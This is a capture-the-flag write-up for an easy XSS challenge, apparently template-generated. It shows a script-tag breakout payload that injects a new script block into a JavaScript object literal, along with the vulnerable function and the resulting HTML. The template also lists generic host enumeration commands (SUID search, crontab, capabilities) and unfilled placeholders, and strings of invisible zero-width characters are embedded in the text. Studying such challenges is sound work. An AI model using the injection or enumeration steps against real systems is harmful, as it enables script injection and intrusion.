← Back to Writeups
HTBN/AWeb

Easy 5

XESXOR8/23/20262 min read
#web#htb#n/a

Easy 5

Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: html_parser_priority, script_tag_breakout

Summary

XSS challenge where input is placed inside a JavaScript object literal within a <script> block. No filtering is applied.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: web-kids20 | ID: 20260309_web_kids20_sibearsxss5
  • Tags: xss, script_breakout, html_parser, js_injection, nested_object
  • Indicators: input inside <script> block, deeply nested JS object, </script> not filtered, HTML parser closes script before JS parser
  • Source: 20260309_web_kids20_sibearsxss5.md

Foothold

Vulnerability / Misconfiguration

  1. Html_parser_priority
  2. Script_tag_breakout
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • html_parser_priority
  • script_tag_breakout
  • Tags: xss, script_breakout, html_parser, js_injection, nested_object

Original Writeup

<details><summary>Click to expand original content</summary>

Description

XSS challenge where input is placed inside a JavaScript object literal within a <script> block. No filtering is applied.

Analysis

Escape function:

function escape(s) {
  return '<script>\r\n var a = "", b = "";\r\n' +
         'var obj = {a: a, b: b, c: {a: a, b: b, c: {a: a, b: b, c: {a: a, b: function(a) { if (a) {return {a: a, b: ' + s + '}}}}}}};\r\n' +
         '</script>';
}

Input s is placed directly inside a deeply nested JavaScript object as a value expression. No sanitization is performed. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key insight: HTML parser has priority over JavaScript parser. When the HTML parser encounters </script>, it closes the script block immediately, regardless of JavaScript syntax context.

Solution

Close the script tag and inject a new script block:

Payload:

1</script><script>prompt("sibears")</script>

Result:

<script>
 var a = "", b = "";
var obj = {a: a, b: b, c: {a: a, b: b, c: {a: a, b: b, c: {a: a, b: function(a) { if (a) {return {a: a, b: 1</script><script>prompt("sibears")</script>}}}}}}}; 
</script>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

How it works:

  1. 1 provides a valid value for the object property
  2. </script> closes the original script block (HTML parser priority)
  3. <script>prompt("sibears")</script> opens a new script block with XSS payload
  4. The remaining }}}}}}}; </script> becomes invalid HTML text (ignored)

The first script block has a syntax error but the second script block executes successfully. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR